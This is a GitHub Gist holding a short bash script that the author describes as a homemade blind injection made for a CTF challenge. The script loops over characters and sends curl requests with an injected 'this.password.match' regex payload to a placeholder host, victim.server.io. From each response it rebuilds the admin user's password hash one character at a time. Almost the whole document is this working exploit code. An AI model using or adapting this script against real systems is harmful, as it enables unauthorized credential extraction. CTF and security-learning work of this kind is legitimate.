Created
December 21, 2021 07:30
-
-
Save razlupercio/d4a3ea3b68cb6716d712b394f770a28d to your computer and use it in GitHub Desktop.
a homemade-blind-sqli i did for some challenge on a CTF... python might be faster tho...
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
baseurl="http://victim.server.io/" | |
hash="" | |
while [ true ] | |
do | |
for x in {{a..z},-,{0..9}} | |
do | |
if curl -s "$baseurl?search=admin%27%20%26%26%20this.password.match(/^${hash}${x}.*$/)%00:" | grep -q "search=admin"; then | |
if curl -s "$baseurl?search=admin%27%20%26%26%20this.password.match(/${hash}${x}$/)%00:" | grep -q "search=admin"; then | |
echo "hash is ${hash}" | |
break 2 # 2 indicates to break the outer loop | |
else | |
hash=$hash$x | |
# echo $hash$x # echo for debug | |
fi | |
break | |
fi | |
done | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment